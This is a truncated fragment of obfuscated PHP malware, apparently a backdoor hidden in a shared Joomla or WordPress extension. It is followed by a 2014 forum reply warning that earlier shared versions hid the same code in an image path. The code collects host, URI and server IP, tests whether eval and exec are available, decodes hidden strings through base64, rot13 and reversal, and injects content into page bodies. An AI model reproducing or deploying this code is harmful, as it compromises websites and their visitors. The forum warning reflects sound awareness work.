ob_start(); $this->WvOoqSuRpZkhgAAFQVjB(); $NygjKszxwCxlHbyDpHTT = ob_get_contents(); ob_end_clean(); $TwuofLreLHIfBVaVCCiU = preg_replace("/(\<body.*?\>)/", "$1 $NygjKszxwCxlHbyDpHTT", $TwuofLreLHIfBVaVCCiU); JResponse::setBody($TwuofLreLHIfBVaVCCiU); } if ($this->KPnBqYhemQSdHKDNtJpe == 2) { } } } } public function WvOoqSuRpZkhgAAFQVjB() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; foreach ($oXyaqmHoChvHQFCvTluq['echo'] as $stIedxfhoZcXvZNmNXTd) { echo $stIedxfhoZcXvZNmNXTd; } } private function oqtYbOOiucMYWyZsGEuE() { $oXyaqmHoChvHQFCvTluq = array(); $oXyaqmHoChvHQFCvTluq['echo'] = array(); $oXyaqmHoChvHQFCvTluq['eval'] = array(); $oXyaqmHoChvHQFCvTluq['clients'] = array(); $oXyaqmHoChvHQFCvTluq['update'] = array(); return $oXyaqmHoChvHQFCvTluq; } private function dIOUyQsvDqPHTBIxnlYs() { if (class_exists('JFactory')) { if (JURI::base()) { $htcFFCQTLLpnCchsPKGY = JURI::base(); } elseif (JURI::root()) { $htcFFCQTLLpnCchsPKGY = JURI::root(); } } elseif (function_exists('get_home_url') || function_exists('get_site_url')) { if (function_exists('get_home_url')) { $htcFFCQTLLpnCchsPKGY = get_home_url(); } elseif (function_exists('get_site_url')) { $htcFFCQTLLpnCchsPKGY = get_site_url(); } } elseif ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if ($GLOBALS['base_path']) $htcFFCQTLLpnCchsPKGY = $GLOBALS['base_path']; else $htcFFCQTLLpnCchsPKGY = $GLOBALS['base_url']; } else { $htcFFCQTLLpnCchsPKGY = $_SERVER['HTTP_HOST']; } $dqkdbOJPzAPsLsuxnjAS = array('www.', 'www', ' ', '{', '}'); $this->htcFFCQTLLpnCchsPKGY = str_replace($dqkdbOJPzAPsLsuxnjAS, "", $htcFFCQTLLpnCchsPKGY); } private function HSxTktcbTftjZjKRHHmh() { $oXyaqmHoChvHQFCvTluq = array(); foreach ($this->yYVsqvOoqWsddypXgJcI as $gXNjWLFkUQOugyREMXKv) { $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKv))); } if (isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) { $nGwzfuUZcelzyfJBQMIg = (int) ($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100); if ($nGwzfuUZcelzyfJBQMIg == 0) { $nGwzfuUZcelzyfJBQMIg = 5; } else { $nGwzfuUZcelzyfJBQMIg *= 5; } } else { $nGwzfuUZcelzyfJBQMIg = 5; } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $nGwzfuUZcelzyfJBQMIg); } private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM) { $oXyaqmHoChvHQFCvTluq = array(); foreach ($this->oXyaqmHoChvHQFCvTluq['emails'] as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluq[] = $HWcwGasopLJSadVNNw; } foreach ($this->aJQafHDwnaPrCJrQMjHV as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw))); } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $YJYRbBDIcUlLJwWidyuM); } private function KZdGlovqEtKYUSCqSVnK() { if (!defined('wp_getInfoData')) { $oXyaqmHoChvHQFCvTluq = array(); $oXyaqmHoChvHQFCvTluq['host'] = $_SERVER['HTTP_HOST']; $oXyaqmHoChvHQFCvTluq['page'] = $_SERVER['REQUEST_URI']; $oXyaqmHoChvHQFCvTluq['ip'] = $_SERVER['SERVER_ADDR']; $oXyaqmHoChvHQFCvTluq['eval'] = $this->YrCTrfUzBfsVJKvqiYUe(); $oXyaqmHoChvHQFCvTluq['exec'] = $this->KNstTqErzZQBDQOODaJd(); $oXyaqmHoChvHQFCvTluq['serverKey'] = $this->BkISKDyWWRXScnLPbTly(); $oXyaqmHoChvHQFCvTluq['run'] = 0; $oXyaqmHoChvHQFCvTluq['type'] = $this->KPnBqYhemQSdHKDNtJpe; $oXyaqmHoChvHQFCvTluq['ver'] = '0.3x1'; $oXyaqmHoChvHQFCvTluq['started'] = date('Ymd'); $oXyaqmHoChvHQFCvTluq['last_connect'] = date('Ymd'); $this->WbKPQMoSbMZkXUeYKXRI = $oXyaqmHoChvHQFCvTluq; return $oXyaqmHoChvHQFCvTluq; } return false; } private function BkISKDyWWRXScnLPbTly($PVSXPKLAQGaWKUtNNUYQ = 10) { $dqkdbOJPzAPsLsuxnjAS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $PqlpeiQHmZBwdmlsfEHm = ''; for ($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < $PVSXPKLAQGaWKUtNNUYQ; $BCEUSjHFFwzzqmHmpjjQ++) { $PqlpeiQHmZBwdmlsfEHm .= $dqkdbOJPzAPsLsuxnjAS[rand(0, strlen($dqkdbOJPzAPsLsuxnjAS) - 1)]; } return $PqlpeiQHmZBwdmlsfEHm; } public function KPBBXYwmuPGPaTyLhWev() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if
09-27-2014, 04:51 AM
Post: #9
RE:
Previous shared versions have had the same shit in /img/thumb.png




42.gif